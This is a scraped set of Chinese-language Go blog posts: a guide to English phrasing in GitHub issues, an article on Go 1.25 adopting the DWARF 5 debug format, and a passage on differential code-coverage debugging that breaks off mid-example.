对比清晰。 环境详情 (Environment Details): 如 Go 版本、OS、库版本等。 （若有）最小可复现代码 (Code to Reproduce): 这是最重要的部分！ 示例 我们以Go并发Map写入产生Panic为例，写一个“报案”issue:\nTitle: Panic: concurrent map writes in high concurrency scenarios Description: I\u0026#39;ve encountered a panic due to concurrent writes to a map. Steps to reproduce: 1. Run the provided Go program. 2. The program attempts to write to a map from 100 goroutines. Expected behavior: The program should complete without panic. Actual behavior: Panics with \u0026#34;fatal error: concurrent map writes\u0026#34;. Environment: Go 1.22.1, Ubuntu 22.04/amd64 Code to reproduce: package main import ( \u0026#34;fmt\u0026#34; \u0026#34;sync\u0026#34; ) func main() { m := make(map[int]int) var wg sync.WaitGroup for i := 0; i \u0026lt; 100; i++ { wg.Add(1) go func(idx int) { defer wg.Done() m[idx] = idx // Potential concurrent write }(i) } wg.Wait() fmt.Println(\u0026#34;Map operations completed.\u0026#34;) } 小贴士： 最小可复现代码是金！它能让维护者最快定位问题。如果能提供Go Playground的链接就更好了，维护者可以直接在playground中运行并复现问题。\n第2招：有理有据——如何提供上下文与代码示例？ 有时候，你可能不是报告一个全新的 Bug，而是想讨论某个已有功能的不足，或者对某段代码的设计提出疑问。这时，仅仅用文字描述可能不够直观，提供清晰的上下文和精炼的代码示例，能让你的观点更有说服力，也更容易被他人理解。\n模式结构 引用相关处 (Quote Specific Code/Doc): 明确指出讨论的上下文。 解释当前逻辑 (Explain Current Implementation): 简述你对当前代码的理解。 展示问题/建议 (Show Minimal Example): 用简短代码清晰展示。 示例 以为“Go切片去重优化建议”提供上下文和代码示例为例：\nIn `pkg/utils/slice.go`, the `RemoveDuplicates` function currently uses a nested loop, which can be inefficient (O(n^2)) for large slices. // Current (conceptual) // func RemoveDuplicates(slice []int) []int { ... uses nested loop ... } I suggest a more efficient O(n) approach using a map: func RemoveDuplicatesEfficient(slice []int) []int { keys := make(map[int]bool) list := []int{} for _, entry := range slice { if _, value := keys[entry]; !value { keys[entry] = true list = append(list, entry) } } return list } This significantly improves performance for large inputs. 第3招：献计献策——如何优雅地提出解决方案？ 发现问题只是第一步，如果你对如何解决这个问题或改进现有功能有了自己的思考和方案，那更是社区所欢迎的！但如何提出你的“锦囊妙计”才能显得专业又不突兀，还能引发积极的讨论呢？下面我们来看看第3招的模式结构与示例。\n模式结构 认可问题/现状 (Acknowledge Issue/Limitation): 先表示理解。 提出方案及理由 (Propose Solution \u0026amp; Rationale): 清晰阐述。 潜在影响/权衡 (Potential Impacts/Trade-offs): 客观分析。 示例 以提出“引入Redis缓存”这一解决方案为例，我们看看如何编写issue/issue comment：\nThe current in-memory caching works for single instances, but doesn\u0026#39;t scale well in our distributed setup. I propose implementing a distributed cache using Redis. This would improve cache hit rates and consistency across nodes. Example snippet for connecting and setting a key: // import \u0026#34;github.com/go-redis/redis/v8\u0026#34; // rdb := redis.NewClient(...) // rdb.Set(ctx, \u0026#34;mykey\u0026#34;, \u0026#34;myvalue\u0026#34;, 0) The main trade-off is adding Redis as a new dependency and managing its infrastructure. What are your thoughts on this direction? 第4招：求同存异——如何专业地表达赞同与分歧？ GitHub Issues 常常是各路英雄好汉思想碰撞的“华山论剑”之地。面对他人的提议或观点，如何清晰地表达你的立场，无论是“英雄所见略同”还是“恕我直言，此法不妥”，都需要技巧。专业的表达能促进讨论，而非引发争执。\n模式结构 确认对方观点 (Acknowledge Point): “我理解你的意思是…” 明确表态 (State Agreement/Disagreement): 清晰，但语气要专业。 解释理由/替代方案 (Explain Rationale/Offer Alternative): 这是关键。 示例 我们以“同意，但有补充”这一场景为例，看看下面的示例：\nI agree with @username\u0026#39;s suggestion to use a factory pattern here. It will definitely make the component more extensible. Perhaps we could also consider making the factory methods accept a context.Context for better cancellation propagation? 如果是“不同意，提替代方案”，可以参考下面示例：\nThanks for the proposal, @anotheruser. I understand the motivation to simplify the API. However, removing the `AdvancedOptions` struct might limit flexibility for power users who need fine-grained control. Could we perhaps keep `AdvancedOptions` but provide a simpler constructor with sensible defaults for common use cases? 第5招：打破砂锅问到底——如何有效地请求澄清？ 在技术讨论中，遇到不明白的地方是很正常的。与其猜测或基于错误的理解继续讨论，不如礼貌地请求对方澄清。一个好的提问，能消除歧义，让讨论更聚焦，也能展现你严谨的学习态度。\n模式结构 引用待澄清点 (Quote Specific Point): “关于你提到的 X…” 清晰提问 (Ask Clear Question): 具体，不要含糊。 解释为何需要 (Explain Why You Need Clarification): 帮助对方理解你的困惑。 示例 In your PR description, you mentioned \u0026#34;refactored for better performance.\u0026#34; Could you please elaborate on which specific parts were refactored and what kind of performance gains you observed? This would help us better understand the impact and review the changes more effectively. Thanks! 第6招：进展同步——如何及时更新你的工作状态？ 如果你认领了一个 Issue 开始修复，或者正在为一个提案进行调研，及时地向社区同步你的进展非常重要。这不仅能让大家了解事情的最新动态，避免重复劳动，也能在你遇到困难时及时获得帮助。\n模式结构 关联旧事 (Reference Previous Discussion/Issue): “关于 #123…” 描述新进展 (Describe New Findings/Progress): 简洁明了。 下一步计划 (Suggest Next Steps, if any): … … 示例 Update on issue #456 (the memory leak in the parser): I\u0026#39;ve run a profiler and identified a goroutine leak related to unclosed HTTP response bodies. I\u0026#39;m working on a fix and will push a draft PR for initial feedback shortly. 第7招：圆满收官/致谢——如何得体地结束讨论与表达感谢？ 当一个 Issue 的讨论有了结论，问题得到解决，或者一个 PR 即将被合并时，一个得体的“收尾动作”同样重要。清晰地总结成果，并对参与讨论和贡献的伙伴表示感谢，是开源社区良好氛围的体现。\n模式结构 一个“结束讨论”的结构通常是这样的：\n总结要点 (Summarize Key Points): 陈述结论 (State Conclusion/Decision): 建议关闭 (Suggest Closing Issue, if applicable): 如果是“致谢”，可以参考下面结构：\n明确感谢对象与行为 (Specify Who/What You’re Thankful For): 表达感谢 (Express Gratitude): （可选）提及贡献的重要性 (Mention Impact): 示例 以结束讨论并致谢为例：\nThanks everyone for the insightful discussion on the new API design! To summarize, we\u0026#39;ve agreed on: 1. Using `context.Context` for all request-handling functions. 2. Returning `(T, error)` consistently. 3. Adding more detailed examples to the documentation. I\u0026#39;ll create follow-up issues for these action items. I believe we can close this main discussion issue now. Special thanks to @contributorA for the detailed performance benchmarks and @contributorB for the excellent documentation suggestions! Your input was invaluable. 熟练掌握了这些沟通“招式”，就像习武之人有了套路，但要真正做到运用自如、出神入化，还需要打磨“内功”——也就是我们的语言基本功和一些约定俗成的表达。了解一些 GitHub 上通用的交流短语、缩略语，并避开常见的表达“雷区”，能让你的沟通更顺畅、更地道。下面，就让我们一起走进“语言加油站”。\n语言加油站：GitHub 通用表达、缩略语与避坑指南 GitHub Issues/PR 常用语句模式精选 下面这些短语和句式可以帮助你更流畅地参与讨论和表达观点。\n表示赞同/确认：\n“Sounds good to me.” (听起来不错。) “That makes sense.” (这很有道理。) “I agree with this approach/suggestion.” (我同意这个方法/建议。) “Good point.” / “Valid point.” (说得好。/有道理。) “Acknowledged.” (已了解。/收到了。) 提出疑问/请求澄清：\n“Could you please provide more details on X?” (可以提供更多关于 X 的细节吗？) “I’m not sure I follow. Could you rephrase that?” (我不太明白，能换种说法吗？) “What are your thoughts on Y?” (你对 Y 有什么看法？) “Just to clarify, are you suggesting Z?” (只是为了确认一下，你的意思是 Z 吗？) 表达不确定/需要思考：\n“I need some time to think about this.” (我需要点时间考虑一下。) “I’m not entirely sure about that yet.” (我还不太确定。) “Let me look into this and get back to you.” (我研究一下再回复你。) 委婉提出不同意见：\n“I see your point, but I’m a bit concerned about…” (我明白你的观点，但我有点担心…) “Have we considered the potential downsides of X?” (我们考虑过 X 的潜在缺点吗？) “Another way to look at this might be…” (换个角度看，也许可以…) 跟进/提醒：\n“Any updates on this issue?” (这个问题有什么新进展吗？) “Just a friendly ping on this.” (友情提醒一下这个事情。) “Gentle reminder that this PR is awaiting review.” (温馨提示这个 PR 还在等待 review。) 常见缩略语与行话解读 熟悉这些缩略语能让你更快理解他人的评论，也能让你的表达更简洁（但注意不要过度使用，确保对方能理解）：\nLGTM: Looks Good To Me (代码审查通过，看起来不错) – 非常常用！ SGTM: Sounds Good To Me (听起来不错) ACK: Acknowledged (已悉/收到) – 有时也表示同意或确认收到。 NACK/NAK: Negative Acknowledge (不赞同/反对) WIP: Work In Progress (正在进行中) – 常用于 PR 标题或评论，表示还未完成。 PTAL: Please Take A Look (请看一下) – 请求 review。 TBR: To Be Reviewed (待审查) TL;DR: Too Long; Didn’t Read (太长不看；通常后面会跟一个总结) IMO/IMHO: In My Opinion / In My Humble Opinion (在我看来/恕我直言) AFAIK: As Far As I Know (据我所知) IIRC: If I Recall Correctly (如果我没记错的话) FYI: For Your Information (供你参考) PR: Pull Request (合并请求) CI: Continuous Integration (持续集成) CD: Continuous Deployment/Delivery (持续部署/交付) RFC: Request For Comments (征求意见稿) – 常用于重要设计或提案。 PoC: Proof of Concept (概念验证) 非母语者常见表达“雷区”与地道说法 (避坑指南) 下面是非英语母语者的一些常见表达问题，这些问题降低了沟通效率，请尽量避免，并使用更为地道的表达方式。\n避免过度复杂句式：\n雷区： “It has come to my attention that the aforementioned functionality is exhibiting behavior inconsistent with the documented specifications under certain edge-case conditions.” (典型的学术腔或书面语过度) 地道： “I found a bug: the function doesn’t work as documented with edge cases.” or “This feature has an issue with edge cases. See details below.” (简洁明了) 避免直译母语（尤其是中式思维）：\n雷区： “This code has problem.” (语法上没错，但不够地道和具体) 地道： “I’m encountering an issue with this code.” / “There seems to be a problem with this code.” / “This code doesn’t work as expected when X happens.” (更具体地描述遇到的情况) 避免过度礼貌或不自信，导致信息冗余：\n雷区： “I am very sorry to disturb you, maybe my English is not good, but I think there is a small tiny bug, if you have time please look, thank you very much.” (过多的道歉和谦逊有时会淹没核心信息) 地道： “Hi, I might have found a bug. [Describe bug concisely]. Could you please take a look when you have a moment? Thanks!” (礼貌且直接) 避免使用俚语、网络流行语或不必要的缩写 (除非社区内非常通用且氛围轻松)： 保持专业和清晰。\n注意词语的细微差别：\n“Suggest” vs “Recommend”: Recommend 通常更强烈一些。 “Problem” vs “Issue”: Issue 更中性，常用于 GitHub 语境；Problem 可能暗示更严重或已确认的缺陷。 “Fix” vs “Address” vs “Resolve”: Fix 强调修复；Address 强调处理或应对；Resolve 强调彻底解决。 推荐辅助神器 大家可以充分使用一些翻译工具，比如DeepL、Google Translate或是像“沉浸式翻译”这样的浏览器插件，辅助理解和翻译，但务必结合自己的理解进行校对。\n此外，更多开发者转向借助ChatGPT等AI助手辅助翻译、润色句子、组织思路，甚至生成初稿，但最终表达的思想和技术准确性仍需你来把控。AI 是你的副驾驶，不是自动驾驶员。\n招式和语言技巧都备齐了，但很多时候，真正阻碍我们开口的，可能不是“会不会说”，而是“敢不敢说”。内心的不自信、对犯错的恐惧，常常成为参与全球开源协作的最大心理障碍。因此，除了硬技能，建设强大的“内心”同样重要。接下来，我们就聊聊如何调整心态，克服“开口难”。\n心态建设：克服“开口难”，拥抱不完美 掌握了模式和工具，最重要的其实是心态：\n自信第一，清晰至上： 没人指望你的英语是母语水平。在技术社区，清晰、准确地传达技术信息远比完美的语法重要。 从小处着手，逐步升级： 可以先从给好评的 PR 点赞 、评论一句 “LGTM!” (Looks Good To Me!) 或 “Thanks for this fix!” 开始。然后尝试提简单的澄清问题，再到报告 Bug，最后挑战提出解决方案。 拥抱反馈，乐于学习： 如果有人友善地指出了你的表达问题，把它看作一次宝贵的学习机会，而不是指责。 开源社区的包容性： 绝大多数开源社区（尤其是成熟的 Go 社区）对于非英语母语者的努力都非常理解和包容。你的真诚、你的技术思考、你的代码贡献，远比流利的口音和地道的表达更重要。 别怕犯错，大胆尝试： 每个人都是从新手过来的。不开口，永远无法进步。勇敢地按下那个”Comment”的提交按钮吧！ 当我们鼓起勇气，用日益精进的英语在 GitHub 上挥洒智慧时，还会遇到一个隐形的挑战——文化差异。开源社区汇聚了全球各地的开发者，不同的文化背景可能导致对同一句话有不同的理解。要想让我们的沟通如丝般顺滑，避免不必要的误解，了解并尊重这些差异，就如同在全球协作中添加了高效的“润滑剂”。\n跨越文化鸿沟：全球协作的润滑剂 直接 vs. 间接： 西方文化通常更偏好直接沟通。表达不同意见时，可以说 “I have a different perspective on this…” 或 “An alternative approach could be…”，而不是过于委婉以至于观点不明。 避免绝对化词语： 少用 “never”, “always”, “impossible” 等，多用 “it seems”, “perhaps”, “it might be” 等留有余地的表达。 幽默需谨慎： 文字形式的幽默和讽刺极易在跨文化背景下产生误解。在正式的技术讨论中，建议保持专业和中性。 给予正面反馈： 即使是否定对方的提议，也可以先肯定其努力或思路的某些方面，如 “Thanks for bringing this up, it’s an interesting idea. However, I’m concerned about X…” 总结与行动倡议 行文至此，我们一起探索了 GitHub Issues 英语沟通的“潜规则”、实战“招式”、语言“加油包”、心态“建设术”以及跨文化“润滑剂”。相信这些内容能为你打开一扇新的大门。但正如任何技能的学习一样，真正的掌握源于不断的实践。\n打破 GitHub 上的英语沟通壁垒，并非遥不可及。通过理解社区文化、掌握核心沟通模式、善用工具、并辅以积极自信的心态，每一位非英语母语的 Go 开发者都能在全球开源的舞台上自如交流，贡献才智。\n记住，语言是桥梁，不是障碍。最重要的是你对技术的热情和你想要分享的价值。\n现在，轮到你了！\n你曾在 GitHub 因英语遇到过什么有趣或尴尬的经历？ 你有什么独家的英语沟通小技巧愿意分享？ 欢迎在评论区留言，让我们一起交流，共同进步！\n深入探讨，加入我们！\n想获得更多关于 Go 技术、开源参与、个人成长方面的深度交流和指导吗？欢迎加入我的知识星球 “Go \u0026amp; AI 精进营”！\n在那里，我们可以：\n针对你的具体 Issue 描述或 PR 进行“英文表达”点评。 分享更多跨文化协作的真实案例。 共同探讨如何更有效地参与顶级 Go 开源项目。 欢迎扫描下方二维码加入星球，和我们一起精进！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2025/05/09/github-english-communication-patterns-and-practice/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/github-english-communication-patterns-and-practice-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/05/09/github-english-communication-patterns-and-practice\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/05/09/github-english-communication-patterns-and-practice\"\u003ehttps://tonybai.com/2025/05/09/github-english-communication-patterns-and-practice\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是 Tony Bai。\u003c/p\u003e\n\u003cp\u003e身处全球化的软件开发浪潮中，GitHub早已成为我们协作、学习、贡献的“宇宙中心”。但对于我们许多非英语母语的开发者来说，它既是机遇之地，有时也是“望而却步”的挑战场。\u003c/p\u003e","title":"GitHub英语沟通太难？别让语言成为你参与顶级Go项目的拦路虎！"},{"content":"Go 1.25链接器提速、执行文件瘦身：DWARF 5调试信息格式升级终落地 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo 1.25链接器提速、执行文件瘦身：DWARF 5调试信息格式升级终落地 五月 8, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/08/go-dwarf5\n大家好，我是Tony Bai。\n对于许多Go开发者来说，调试信息的格式可能是一个相对底层的细节。然而，这个细节却对编译速度、最终可执行文件的大小以及调试体验有着深远的影响。经过长达六年的讨论、等待生态成熟和密集的开发工作，Go 语言工具链终于在主干分支（预计将包含在 Go 1.25 中）默认启用了 DWARF version 5 作为其调试信息的标准格式（Issue #26379）。这一看似“幕后”的变更，实则为 Go 开发者带来了切实的链接速度提升和可执行文件体积的优化。在这篇文章中，我们就来对DWARF5落地Go这件事儿做一个简单的解读。\n为何需要升级到 DWARF 5？旧格式的痛点 DWARF (Debugging With Attributed Record Formats) 是类 Unix 系统上广泛使用的调试信息标准。Go 之前使用的 DWARF 版本（主要是 v2 和 v4）虽然成熟，但在现代软件开发实践中暴露出一些不足：\n大量的重定位 (Relocations): 旧版 DWARF 格式通常包含大量需要链接器处理的地址重定位信息。根据 2018 年的初步分析（by aclements），在当时的 go 二进制文件中，高达 49% 的重定位条目都源于 DWARF 数据。这显著增加了链接器的工作负担，拖慢了构建速度，尤其是对于大型项目。 冗长的位置和范围列表 (Location/Range Lists): 用于描述变量生命周期和代码范围的 .debug_loc 和 .debug_ranges 等section的数据在旧格式下可能非常庞大。即便经过压缩，它们也能占到可执行文件大小的相当一部分（例如，当时 go 二进制的 12MiB 中占 6%）。 缺乏官方 Go 语言代码: 虽然不影响功能，但 DWARF 5 正式为 Go 语言分配了官方的语言代码 (DW_LANG_Go)。 DWARF 5 标准针对这些痛点进行了改进，其关键优势在于：\n位置无关表示 (Position-Independent Representations): DWARF 5 引入了如 .debug_addr, .debug_rnglists, .debug_loclists 等新 Section 格式，它们的设计能大幅减少甚至消除对重定位的需求，从而减轻链接器负担。 更紧凑的列表格式: 新的列表格式 (.debug_rnglists, .debug_loclists) 比旧的 (.debug_ranges, .debug_loc) 更为紧凑，有助于减小调试信息的大小。 从提案到落地：漫长的等待与集中的开发 尽管 DWARF 5 的优势显而易见，但 Go 社区在 2018 年提出该想法时（by aclements），整个开发工具生态（如调试器 LLDB、macOS 的链接器和 dsymutil 工具等）对其支持尚不完善。因此，该提案被暂时搁置，等待时机成熟。\n近年来，随着主流工具链（GCC 7.1+, GDB 8.0+, Clang 14+）纷纷将 DWARF 5 作为默认选项，生态环境逐渐成熟。Go 团队成员 Than McIntosh 承担了将 Go 工具链迁移到 DWARF 5 的主要开发工作。这涉及对编译器 (cmd/compile) 和链接器 (cmd/link) 的大量修改，引入了新的 GOEXPERIMENT=dwarf5 实验开关进行测试，并提交了一系列相关的变更集 (CLs)，包括：\n添加 DWARF 5 相关常量和 relocation 类型定义。 实现对 .debug_addr, .debug_rnglists, .debug_loclists section 的生成和支持。 更新 DWARF 5 的行号表 (line table) 支持。 适配 x/debug/dwtest 和 internal/gocore 等内部库。 协调 Delve 调试器对 DWARF 5 的支持。 成果显著：链接速度提升与体积优化 经过广泛的测试和 compilebench 基准评估，启用 DWARF 5 带来了可观的性能收益：\n链接速度显著提升: ExternalLinkCompiler 基准测试显示链接时间减少了 约 14%。这主要得益于 DWARF 5 减少了链接器需要处理的重定位数量。 可执行文件体积减小: HelloSize 和 CmdGoSize 基准显示最终可执行文件大小平均减小了 约 3%。这归功于 DWARF 5 更紧凑的列表格式。 编译时间略有改善: 整体编译时间 (geomean) 也有约 1.9% 的小幅提升。 虽然对代码段 (.text)、数据段 (.data)、BSS 段的大小几乎没有影响，但链接耗时和最终文件大小的优化对于大型项目和 CI/CD 流程来说意义重大。\n挑战与妥协：并非所有平台一步到位 在推进 DWARF 5 的过程中，也遇到了一些平台兼容性问题，导致 Go 团队采取了审慎的策略：\nmacOS dsymutil 限制: 旧版本的 macOS Xcode 自带的 dsymutil 工具（用于处理和分离 DWARF 信息）不支持 DWARF 5 新引入的 .debug_rnglists 和 .debug_loclists section。这会导致在使用外部链接 (external linking) 构建 CGO 程序时，Go 代码的调试信息丢失。虽然 LLVM 17 (对应 Xcode 16+) 已修复此问题，但考虑到仍有大量开发者使用旧版 Xcode（官方支持最低到 Xcode 14），Go 团队决定在 macOS 和 iOS 平台上进行外部链接时，暂时回退到 DWARF 4。未来当最低支持的 Xcode 版本兼容 DWARF 5 后，有望统一。 AIX 平台限制: AIX 使用的 XCOFF 文件格式本身不支持 DWARF 5 所需的 Section 类型。因此，AIX 平台将继续使用 DWARF 4 (GOEXPERIMENT=nodwarf5 默认开启)。 GNU objdump 兼容性: objdump 工具在解析 Go 生成的 monolithic .debug_addr section 时会打印警告（因为它期望每个编译单元都有一个 header，而 Go 链接器只生成一个）。这被认为是一个 objdump 的小问题（已提议向上游提交修复），不影响实际功能，因此 Go 团队决定继续采用 monolithic 方式。 对开发者的影响与总结 对于大多数 Go 开发者而言，这项变更将在 Go 1.25 及以后版本中默认生效（除了上述 macOS 外部链接和 AIX 平台）。你将自动享受到更快的链接速度和略小的可执行文件。\n调试体验: 虽然 DWARF 5 本身设计更优，但对日常使用 Delve 等调试器的直接体验影响可能不明显，主要好处体现在工具链效率和文件大小上。 注意事项: 如果你在 macOS 上进行 CGO 开发并使用外部链接，或者面向 AIX 平台，需要了解调试信息格式仍将是 DWARF 4。 总而言之，Go 工具链采纳 DWARF 5 是一个重要的里程碑。它不仅解决了旧格式的一些固有问题，提升了构建效率，也是 Go 语言紧跟底层技术标准发展、持续优化开发者体验的重要一步。这项历时多年的工作最终落地，体现了 Go 社区在推动技术演进方面的耐心和决心。\n参考资料 cmd/compile: consider using DWARF 5 – https://github.com/golang/go/issues/26379 DWARF Version 5 – https://dwarfstd.org/dwarf5std.html 聊聊你的编译构建体验\nGo 1.25 工具链的这项 DWARF 5 升级，虽然“藏”在幕后，但实实在在地为我们带来了链接速度和文件大小的优化。你在日常的 Go 项目开发中，是否也曾被编译链接速度或可执行文件体积困扰过？ 你对 Go 工具链在这些方面的持续改进有什么期待或建议吗？或者，你是否了解其他能有效优化构建体验的技巧？\n欢迎在评论区分享你的经验、痛点与期待！ 让我们共同见证 Go 工具链的进步。\n想深入探索Go的编译、链接与底层奥秘？\n如果你对 Go 工具链如何工作、编译优化、链接器原理，乃至像 DWARF 这样的底层细节充满兴趣，希望系统性地构建对 Go 语言“从源码到可执行文件”全链路的深刻理解…\n那么，我的 「Go \u0026amp; AI 精进营」知识星球 正是为你打造的深度学习平台！这里有【Go原理课】带你解密语言核心机制，【Go进阶课】助你掌握高级技巧，更有【Go避坑课】让你少走弯路。我会亲自为你解答各种疑难问题，你还可以与众多热爱钻研的Gopher们一同交流，探索Go的更多可能，包括它在AI等前沿领域的应用。\n扫码加入，与我们一同潜入Go的底层世界，成为更懂Go的开发者！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/08/go-dwarf5/","summary":"\u003cp\u003eGo 1.25链接器提速、执行文件瘦身：DWARF 5调试信息格式升级终落地 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go 1.25链接器提速、执行文件瘦身：DWARF 5调试信息格式升级终落地"},{"content":"代码覆盖率新玩法：Russ Cox教你用差异化分析加速Go调试 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n代码覆盖率新玩法：Russ Cox教你用差异化分析加速Go调试 五月 7, 2025 2 条评论 本文永久链接 – https://tonybai.com/2025/05/07/debug-with-diff-cover\n大家好，我是Tony Bai。\n调试，尤其是调试并非自己编写的代码，往往是软件开发中最耗时的环节之一。面对一个失败的测试用例和庞大的代码库，如何快速有效地缩小问题范围？Go团队的前技术负责人 Russ Cox 近期分享了一个虽然古老但极其有效的调试技术——差异化覆盖率 (Differential Coverage)。该技术通过比较成功和失败测试用例的代码覆盖率，巧妙地“高亮”出最可能包含Bug的代码区域，从而显著加速调试进程。\n在这篇文章中，我们来看一下Russ Cox的这个“古老绝技”，并用一个实际的示例复现一下这个方法的有效性。\n核心思想：寻找失败路径上的“独特足迹” 代码覆盖率通常用于衡量测试的完备性，告诉我们哪些代码行在测试运行期间被执行了。而差异化覆盖率则利用这一信息进行反向推理：\n假设： 如果一段代码仅在失败的测试用例中被执行，而在其他成功的用例中未被执行，那么这段代码很可能与导致失败的 Bug 相关。\n反之，如果一段代码在成功的测试中执行了，但在失败的测试中未执行，那么这段代码本身大概率是“无辜”的，尽管它被跳过的原因（控制流的变化）可能提供有用的线索。\n如何实践差异化覆盖率？ Russ Cox 通过一个向 math/big 包注入 Bug 的例子，演示了如何应用该技术：\n假设 go test 失败，且失败的测试是 TestAddSub：\n$ go test --- FAIL: TestAddSub (0.00s) int_test.go:2020: addSub(...) = -0x0, ..., want 0x0, ... FAIL exit status 1 FAIL math/big 7.528s 步骤 1：收集测试覆盖率prof文件 生成“成功”的prof文件 (c1.prof): 运行除失败测试外的所有测试，并记录覆盖率。 # 使用 -skip 参数跳过失败的测试 TestAddSub $ go test -coverprofile=c1.prof -skip=\u0026#39;TestAddSub$\u0026#39; # Output: PASS, coverage: 85.0% ... 生成“失败”的prof文件 (c2.prof): 只运行失败的测试，并记录覆盖率。 # 使用 -run 参数只运行失败的测试 TestAddSub $ go test -coverprofile=c2.prof -run=\u0026#39;TestAddSub$\u0026#39; # Output: FAIL, coverage: 4.7% ... 步骤 2：计算差异并生成 HTML 报告 合并与筛选: 使用 diff 和 sed 命令，提取出仅存在于 c2.prof (失败测试) 中的覆盖率记录，并保留 c1.prof 的文件头，生成差异化配置文件 c3.prof。 # head 保留 profile 文件头 # diff 比较两个文件 # sed -n \u0026#39;s/^\u0026gt; //p\u0026#39; 只提取 c2.prof 中独有的行（以 \u0026#34;\u0026gt; \u0026#34; 开头） $ (head -1 c1.prof; diff c1.prof c2.prof | sed -n \u0026#39;s/^\u0026gt; //p\u0026#39;) \u0026gt; c3.prof 可视化: 使用 go tool cover 查看 HTML 格式的差异化覆盖率报告。 $go tool cover -html=c3.prof 解读差异化覆盖率报告 在浏览器中打开的 HTML 报告将以不同的颜色标记代码：\n绿色 (Covered): 表示这些代码行仅在失败的测试 (c2.prof) 中运行，而在成功的测试 (c1.prof) 中没有运行。这些是重点怀疑对象，需要优先审查。 红色 (Uncovered): 表示这些代码行在成功的测试中运行过，但在失败的测试中没有运行。这些代码通常可以被排除嫌疑，但它们被跳过的原因可能暗示了控制流的异常。 灰色 (Not Applicable/No Change): 表示这些代码行要么在两个测试中都运行了，要么都没运行，或者覆盖状态没有变化。 在 Russ Cox 的 math/big 例子中，差异化覆盖率报告迅速将范围缩小到 natmul.go 文件中的一小段绿色代码，这正是他故意引入 Bug 的地方（else 分支缺少了 za.neg = false）。原本需要检查超过 15,000 行代码，通过差异化覆盖率，直接定位到了包含 Bug 在内的 10 行代码区域。\n从图中可以看到：Go覆盖率工具 HTML 报告显示 natmul.go 文件。大部分代码为红色或灰色，只有一小段 else 分支内的代码被标记为绿色，指示这部分代码仅在失败的测试中执行。\n实践案例：定位简单计算器中的 Bug 为了更具体直观地感受差异化覆盖率的威力，让我们复现一下Russ Cox的“古老绝技”，来看一个简单的例子。假设我们有一个执行基本算术运算的函数，但不小心在乘法逻辑中引入了一个 Bug。\n1. 存在 Bug 的代码 (calculator.go)\npackage calculator import \u0026#34;fmt\u0026#34; // Calculate 执行简单的算术运算 func Calculate(op string, a, b int) (int, error) { switch op { case \u0026#34;add\u0026#34;: return a + b, nil case \u0026#34;sub\u0026#34;: return a - b, nil case \u0026#34;mul\u0026#34;: // !!! Bug introduced here: should be a * b !!! fmt.Println(\u0026#34;Executing multiplication logic...\u0026#34;) // 添加打印以便观察 return a + b, nil // 错误地执行了加法 default: return 0, fmt.Errorf(\u0026#34;unsupported operation: %s\u0026#34;, op) } } 2. 测试代码 (calculator_test.go)\npackage calculator import \u0026#34;testing\u0026#34; func TestCalculateAdd(t *testing.T) { result, err := Calculate(\u0026#34;add\u0026#34;, 5, 3) if err != nil { t.Fatalf(\u0026#34;unexpected error: %v\u0026#34;, err) } if result != 8 { t.Errorf(\u0026#34;add(5, 3) = %d; want 8\u0026#34;, result) } } func TestCalculateSub(t *testing.T) { result, err := Calculate(\u0026#34;sub\u0026#34;, 5, 3) if err != nil { t.Fatalf(\u0026#34;unexpected error: %v\u0026#34;, err) } if result != 2 { t.Errorf(\u0026#34;sub(5, 3) = %d; want 2\u0026#34;, result) } } // 这个测试会因为 Bug 而失败 func TestCalculateMul(t *testing.T) { result, err := Calculate(\u0026#34;mul\u0026#34;, 5, 3) if err != nil { t.Fatalf(\u0026#34;unexpected error: %v\u0026#34;, err) } // 期望 15，但因为 Bug 实际返回 8 if result != 15 { t.Errorf(\u0026#34;mul(5, 3) = %d; want 15\u0026#34;, result) } } 3. 运行测试并定位 Bug\n首先，运行所有测试，会看到 TestCalculateMul 失败：\n$go test . Executing multiplication logic... --- FAIL: TestCalculateMul (0.00s) caculator_test.go:33: mul(5, 3) = 8; want 15 FAIL FAIL caculator 0.007s FAIL 现在，我们应用差异化覆盖率技术：\n生成“成功”覆盖率 (c1.prof): $go test -coverprofile=c1.prof -skip=\u0026#39;TestCalculateMul$\u0026#39; ./... ok caculator 0.007s coverage: 50.0% of statements 生成“失败”覆盖率 (c2.prof): $go test -coverprofile=c2.prof -run=\u0026#39;TestCalculateMul$\u0026#39; ./... Executing multiplication logic... --- FAIL: TestCalculateMul (0.00s) caculator_test.go:33: mul(5, 3) = 8; want 15 FAIL coverage: 50.0% of statements FAIL caculator 0.008s FAIL 计算差异并查看 (c3.prof): $(head -1 c1.prof; diff c1.prof c2.prof | sed -n \u0026#39;s/^\u0026gt; //p\u0026#39;) \u0026gt; c3.prof $go tool cover -html=c3.prof 4. 分析结果\ngo tool cover命令会打开生成的 c3.prof HTML 报告，我们可以查看 calculator.go 